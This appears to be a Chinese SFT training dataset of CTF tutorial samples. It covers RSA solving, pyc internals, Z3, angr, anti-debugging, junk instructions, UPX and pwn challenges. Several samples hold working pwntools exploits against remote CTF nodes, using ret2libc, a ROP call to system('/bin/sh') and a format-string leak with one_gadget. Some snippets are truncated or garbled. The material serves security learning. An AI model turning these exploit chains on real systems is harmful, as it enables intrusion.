可用于训练的标准回答：
## 例题 [SUCTF2019] SignIn

反编译分析，发现程序使用了 gmp 大数运算库。

根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。

最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。

通过工具yafu分解模数来得到$p$和$q$。

通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。

之后就可以通过私钥解密密文了。

- exp

```python
from Crypto.Util.number import *

n = 103461035900816914121390101299049044413950405173712170434161686539878160984549
e = 65537
c = int("ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35", 16)
p=282164587459512124844245113950593348271
q=366669102002966856876605669837014229419

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
#suctf{Pwn_@_hundred_years}
```

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。

[Assistant]
1. 每次处理 deep link 都会重整当前解释器状态。
2. 如果`expression`包含子串 `"intent:"`，则：
3. 使用 `Intent.parseUri(expression, 1)` 将字符串解析为 `Intent` 对象（反序列化/解析 URI 表示的 Intent）。
4. 将得到的 `Intent` 作为 `fallback` 存入当前 Activity 的启动 `Intent`（`getIntent().putExtra("fallback", errorFallbackIntent)`）。
5. 计算 `expression` 的签名（用 `calculateSignature`），并把签名存入 `calc_signature` extra。
6. 在 UI 上显示 `Intent stored` 或在异常时显示 `Invalid expression`。

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pyc：pyc文件》的“文件结构”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pyc：pyc文件 / 文件结构
关键词：pyc、number、magic、import、datetime、MAGIC_NUMBER、x00、struct、importlib、util
蒸馏要点：
- pyc 文件在创建的时候都会往里面写入如下内容：
- magic number
- 这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。
- 比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。
- 在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。
- 注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\x00，
- pyc 3.7以后版本的文件头一般都是16个字节
可用于训练的标准回答：
### 文件结构

pyc 文件在创建的时候都会往里面写入如下内容：

1. magic number

这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。

比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。

2. 创建时间戳

在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。

3. py文件的大小

注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\x00，

pyc 3.7以后版本的文件头一般都是16个字节

```python
import struct
from datetime import datetime
from importlib.util import MAGIC_NUMBER

with open("test.cpython-310.pyc","rb") as f:
	data=f.read()

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Z3》中“基本使用”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Z3》的“基本使用”。
关联知识点：
- 使用 z3 来解这个方程组，首先是未知数
代码片段：
```
30x + 15y = 675
12x + 5y = 265
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Angr：Angr符号执行》的“Simulation Manager”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Angr：Angr符号执行 / Simulation Manager
关键词：state、simgr、regs、python
simgr = p.factory.simgr(state)、factory、active、stash、pruned、step、rax
蒸馏要点：
- 上述方式只是预设了程序开始分析时的状态，我们要分析程序就必须要让它到达下一个状态，这就需要模拟管理器的帮助（简称 SM）。
- 使用以下指令能创建一个 SM，它需要传入一个 state 或者 state 的列表作为参数：
- SM 中有许多列表，这些列表被称为 stash，它保存了处于某种状态的 state，stash有如下几种：
- | stash         | 描述                                                         |
- | active        | 保存接下来可以执行并且将要执行的状态                         |
- | deadended     | 由于某些原因不能继续执行的状态，例如没有合法指令，或者有非法指针 |
- | pruned        | 与 solve 的策略有关，当发现一个不可解的节点后，其后面所有的节点都优化掉放在 pruned 里 |
可用于训练的标准回答：
### Simulation Manager

上述方式只是预设了程序开始分析时的状态，我们要分析程序就必须要让它到达下一个状态，这就需要模拟管理器的帮助（简称 SM）。

使用以下指令能创建一个 SM，它需要传入一个 state 或者 state 的列表作为参数：

```python
simgr = p.factory.simgr(state)
```

SM 中有许多列表，这些列表被称为 stash，它保存了处于某种状态的 state，stash有如下几种：

| stash         | 描述                                                         |
| ------------- | ------------------------------------------------------------ |
| active        | 保存接下来可以执行并且将要执行的状态                         |
| deadended     | 由于某些原因不能继续执行的状态，例如没有合法指令，或者有非法指针 |
| pruned        | 与 solve 的策略有关，当发现一个不可解的节点后，其后面所有的节点都优化掉放在 pruned 里 |
| unconstrained | 如果创建 SM 时启用了 save_unconstrained，则没有约束条件的 state 会放在这里 |
| unsat         | 如果创建 SM 时启用了 save_unsat，则被认为不可满足的 state 会放在这里 |

默认情况下，state 会被存放在 active 中。

可以通过 step() 非法来让处于 active 的 state 执行一个基本块，这种操作不会改变 state 本身（类比docker）：

```python
state=p.factory.entryi.entry_state()
simgr=p.factory.simgr(state)...

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Z3》中“Z3”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Z3》的“Z3”。
语言/类型：shell
关联知识点：
- Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。
- Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。
- angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。
代码片段：
```shell
pip install z3-solver
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“原理：反汇编算法的设计缺陷”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。

[Assistant]
1. 反汇编算法主要可以分为两类：递归下降算法和线性扫描算法。
2. 线性扫描算法p1从程序的入口点开始反汇编，然后整个代码段进行扫描，反汇编扫描过程中所遇到的每条指令。线性扫描算法的缺点在于在冯诺依曼体系下，**无法区分数据和代码，从而导致将代码段中嵌入的数据误解释为指令的操作码，一致最后得到错误的反汇编结果**。
3. 递归下降采取另外一种不同的方法来定位指令。递归下降算法强调控制流的概念。控制流根据一条指令是否被另一条指令引用来决定是否对其进行反汇编，遇到非控制转移指令时顺序进行反汇编，而遇到控制转移指令时则从转移地址处开始进行反汇编。通过构造**必然条件**或者**互补条件**，使得反汇编出错。

原理：反汇编算法的设计缺陷

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“NtGlobalFlag”？请用《反调试》中的内容回答。

[Assistant] 1. 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[GDOUCTF 2023]小学数学”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[GDOUCTF 2023]小学数学”。
语言/类型：python
代码片段：
```python
from pwn import *
io = remote('node4.anna.nssctf.cn',28584)
io.sendline(b'')
print('plz wait..')
for i in range(300):
    io.recvuntil(str(i+1).encode())
    num1 = int(io.recvuntil(b' '))
    op = io.recvuntil(b' ')****
    num2 = int(io.recvuntil(b' '))
    print(num1, op[0], num2)
    if(op[0] == ord('-')):
        io.sendline(str(num1+num2).encode())
    elif(op[0] == ord('x')):
        io.sendline(str(num1-num2).encode())
    elif(op[0] == ord('/')):
        io.sendline(str(num1*num2).encode())
    elif(op[0] == ord('%')):
        io.sendline(str(num1//num2).encode())
    else:
        io.sendline(str(num1%num2).encode())

io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“文件结构”？请用《Pyc：pyc文件》中的内容回答。

[Assistant]
1. pyc 文件在创建的时候都会往里面写入如下内容：
2. magic number
3. 这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。
4. 比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。
5. 在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。
6. 注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\x00，

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[GDOUCTF 2023]真男人下120层”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [GDOUCTF 2023]真男人下120层
关键词：lib、srand、GDOUCTF、ctypes、import、pwn、context、log_level、debug、process
可用于训练的标准回答：
### [GDOUCTF 2023]真男人下120层

#ctypes

```python
from pwn import *
from ctypes import *
context.log_level='debug'
#io = process('./bin')
io=remote("node4.anna.nssctf.cn",28765)

lib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand=lib.srand(lib.time(0))
srand=lib.srand(srand%3-1522127470)
io.recvuntil('Floor')
for i in range(121):
    io.sendline(str(lib.rand()%4+1).encode())

io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pyc：pyc文件》的“普通打包”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pyc：pyc文件 / 普通打包
关键词：strings test | grep py、pyinstaller 打包文件、python pyinstxtractor.py test.exe、objcopy --dump-section pydata=pydata.dump test、运行后会在当前目录下出现一个文件夹，往往是、，此处为、test、pyinstxtractor、pydata、pyc
蒸馏要点：
- python 程序通过工具可以打包为可执行程序
- python可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件
- 利用工具可以将 pyc 文件反编译为 py 文件。
- 经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep py`
- exe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。
- 运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`
- 该工具目前版本已经高于2.0，不需要再补全pyc文件的magic头部了
可用于训练的标准回答：
#### 普通打包

python 程序通过工具可以打包为可执行程序

python可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件

利用工具可以将 pyc 文件反编译为 py 文件。

- 打包

经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep py`

```
pyinstaller 打包文件
```

- 解包

exe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。

```
python pyinstxtractor.py test.exe
```

```
objcopy --dump-section pydata=pydata.dump test
```

运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`

>该工具目前版本已经高于2.0，不需要再补全pyc文件的magic头部了

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“简介”？请用《UPX 脱壳详解》中的内容回答。

[Assistant]
1. UPX 壳是一种压缩壳，在 CTF 比赛中比较常见。
2. 针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。
3. 但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。
4. 这个时候我们可以通过恢复修改掉的地方让工具继续奏效。
5. 当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。
6. OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。

UPX 脱壳详解


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“\[CISCN 2019东北\]PWN2”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / \[CISCN 2019东北\]PWN2
关键词：p64、CISCN、PWN2、recvuntil、puts_addr、elf、puts、Input、your、sendline
可用于训练的标准回答：
### \[CISCN 2019东北\]PWN2

#ret2libc #LibcSearcher
```python
from pwn import *
from LibcSearcher import *

#io=process("./[CISCN 2019东北]PWN2")
io=remote("node5.anna.nssctf.cn",21851)
elf=ELF("./[CISCN 2019东北]PWN2")
context(log_level="debug",arch="amd64")

main=0x4009a0
rbx_rbp=0x0000000000400aec
rdi=0x0000000000400c83
rsi_r15=0x0000000000400c81
ret=0x00000000004006b9
off=0x58

payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])
io.recvuntil("Input your choice!\n")
io.sendline(b"1")
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_addr -> {:#x}".format(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sh=libc_base+libc.dump("str_bin_sh")
sys=libc_base+libc.dump("system")
pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
io...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pyc：pyc文件》的“列表”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pyc：pyc文件 / 列表
关键词：LOAD_CONST、BUILD_LIST、list、STORE_NAME、CALL_FUNCTION、RETURN_VALUE、LOAD_FAST、对应、。

通过列表推导式（语法糖）构建列表：、对应语句
蒸馏要点：
- `BUILD_LIST`用于创建一个`list`。
- 对应`k = [1,2]`。
- 通过列表推导式（语法糖）构建列表：
- 对应语句`a = [i+2 fo i in range(32)]`。
可用于训练的标准回答：
#### 列表

`BUILD_LIST`用于创建一个`list`。

例如：

```
0 LOAD_CONST   0 (1)
2 LOAD_CONST   1 (2)
4 BUILD_LIST   2
6 STORE_NAME   0 (k)
```

对应`k = [1,2]`。

通过列表推导式（语法糖）构建列表：

```
0 LOAD_CONST        0 (>)
2 LOAD_CONST        1 ('')
4 MAKE_FUNCTION     0
6 LOAD_NAME         0 (range)
8 LOAD_CONST        2 (32)
10 CALL_FUNCTION    1
12 GET_ITER
14 CALL_FUNCTION    1
16 STORE_NAME       1 (a)
18 LOAD_CONST       3 (None)
20 RETURN_VALUE
```

```
Disassembly of >
0 BUILD_LIST    0
2 LOAD_FAST     0 (.0)
4 FOR_ITER      12(to 18) 循环到18
6 STORE_FAST    1 (i)
8 LOAD_FAST     1 (i)
10 LOAD_CONST   0 (2)
12 BINARY_ADD
14 LIST_APPEND  2
16 JUMP_ABSOLUTE 4
18 RETURN_VALUE
```

对应语句`a = [i+2 fo i in range(32)]`。

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《花指令：原理：反汇编算法的设计缺陷》的“关于花指令的构造”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：花指令：原理：反汇编算法的设计缺陷 / 关于花指令的构造
关键词：jmp、- **gcc内嵌汇编**、接下来我们介绍常见的花指令实现方式和清除方法。

jmp指令、jmp s
	_emit 0xe9;
s:、include、asm、emit、printf、hello、world
蒸馏要点：
- 构造永恒跳转，插入垃圾数据
- 我们通过在代码中内嵌汇编指令实现插入花指令。在不同的编译器中我们嵌入汇编的格式也不同。
- 主要的编译器分别为 msvc 和 gcc，我们每个例子都会写出两种不同编译器的实现方法。
- **msvc内嵌汇编**
- **gcc内嵌汇编**
- *常用的脏字节编码**
- 构造跳转使插入的垃圾数据不被执行来欺骗反编译器。
可用于训练的标准回答：
## 关于花指令的构造

花指令的名言：

> 构造永恒跳转，插入垃圾数据

我们通过在代码中内嵌汇编指令实现插入花指令。在不同的编译器中我们嵌入汇编的格式也不同。

主要的编译器分别为 msvc 和 gcc，我们每个例子都会写出两种不同编译器的实现方法。

- **msvc内嵌汇编**

```c
#include
int main() {
	#嵌入汇编代码
	__asm {
		jmp s;
        #emit指令用于插入垃圾数据
		_emit 0xe9;
	s:
	}
	printf("hello world!\n");
	return 0;
}
```

- **gcc内嵌汇编**

```c
#include
int main() {
	#gcc编译器内嵌汇编
	__asm__ __volatile__ (
        "jmp s\n\t"        // 跳转指令，跳转到s标签
        ".byte 0xe9\n\t"   // 插入字节0xC7
        "s:\n\t"            // s标签
    );
	printf("hello world!\n");
	return 0;
}
```

**常用的脏字节编码**

构造跳转使插入的垃圾数据不被执行来欺骗反编译器。

如果我们插入的花指令是一个操作码，那么后面程序原本的机器猫就会被误认为是这个操作码的操作数，从而导致反汇编引擎的解析错误。

我们将插入的垃圾数据称为脏字节。

下面就是我们插入花指令常用的脏字节。

```
call immed16     ---->    E8    // 3字节指令，immed16为2字节，代表跳转指令的目的地址与下一条指令地址的距离
call immed32     ---->    9A    // 5字节指令，immed32为4字节，代表跳转指令的目的地址与下一条指令地址的距离
jmp  immed8      ---->    EB
jmp  immed16     ---->    E9
jmp  imm...

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“2024网鼎杯pwn02”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“2024网鼎杯pwn02”。
语言/类型：c
关联知识点：
- 题目描述：某单位服务器的一项服务端口无意暴露出来，请根据给出的附件进行调试，测试是否存在安全漏洞。
- 32程序，无`canary`和`PIE`保护
- IDA打开分析，在IDA字符串表中发现`/bin/sh`字符串
- 函数表发现后门函数`gift`
- `vuln`函数中发现栈溢出漏洞，但只溢出两个字长，只能覆盖`ebp`和返回地址。
代码片段：
```c
➜ checksec ./short
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“\[HNCTF 2022 Week1\]ezr0p32”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“\[HNCTF 2022 Week1\]ezr0p32”。
语言/类型：python
代码片段：
```python
from pwn import *

#io=process("./ezr0p")
io=remote("node5.anna.nssctf.cn",23450)
elf=ELF("./ezr0p")
context(log_level="debug",arch="i386")

sys=elf.plt.system
bss=0x804a080
io.sendlineafter(b'please tell me your name\n',b'/bin/sh')
off=32
payload=b'a'*off+p32(sys)+p32(0)+p32(bss)
io.sendlineafter(b"now it's your play time~\n",payload)

io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“onCreate”？请用《2025强网杯 Qclac》中的内容回答。

[Assistant]
1. 在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。
2. `onCreate`方法最后执行以下代码：
3. 在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Angr：Angr符号执行》中“更高效的 state 执行管理”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Angr：Angr符号执行》的“更高效的 state 执行管理”。
语言/类型：python
关联知识点：
- `state.step()` 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。
- 为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。
- 使用 Project 提供的工厂函数` proj.factory.simulation_manager` 就能从一个 state 创建 simgr。
- simgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：
- `simgr.active` ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。
代码片段：
```python
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)
```

更高效的 state 执行管理

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“内存权限修改”？请用《SMC自修改代码》中的内容回答。

[Assistant]
1. 在不同的系统中定义有不同的 API 函数来修改内存权限。
2. 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。
3. `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：
4. 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）
5. 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）
6. 第三个参数：指定属性（r=4（读）、w=2（写）、x=1（执行））

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Hash 类算法》中“[SUCTF 2018 招新赛]hash”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Hash 类算法》的“[SUCTF 2018 招新赛]hash”。
语言/类型：python
关联知识点：
- ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。
- 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。
- 结合上面信息分析程序代码逻辑。
- 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。
- 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。
代码片段：
```python
md5="bf772f6ed89838b9gb9f7abf3cc09413"
md5=list(md5)
for i in range(len(md5)):
	if i&1 == 0:
		md5[i]=chr(ord(md5[i])^1)
result="".join(md5)
print(result)
#cf673f7ee88828c9fb8f6acf2cb08403
```

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ezorw”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ezorw
关键词：libc、elf、ELF、payload、rsi、rdx、read、write、open、readv、writev、execveat、arch、address、stack
蒸馏要点：
- 禁止了`read、write、open、readv、writev、execveat`等系统调用。
- 常规的 orw 并不奏效，但是我们可以通过相似系统调用来绕过沙箱。
可用于训练的标准回答：
### ezorw

沙箱题

禁止了`read、write、open、readv、writev、execveat`等系统调用。

常规的 orw 并不奏效，但是我们可以通过相似系统调用来绕过沙箱。

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A  0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc=ELF("./libc-2.31.so")
context(os=elf.os, arch=elf.arch, log_level='debug')

payload=b"%13$p%15$p".ljust(0x28,b"a")+p64(0x4010b0)
s(payload)
ru("welcome to YLCTF\n")
libc.address=int(r(14),16)-0x024083
stack=int(r(14),16)-0x120

lg("base:",libc.address)
lg("stack:",stack)

getshell=libc.address+0xe3b01
"""
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
"""...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“乘法逆元”？请用《RSA与大数运算》中的内容回答。

[Assistant]
1. 乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。
2. 在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：
3. a×a−1≡1(mod\ p)a \times a^{-1} \equiv 1 \pmod{p}a×a−1≡1(mod\ p)
4. 其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。
5. 如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。
6. 在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：

RSA与大数运算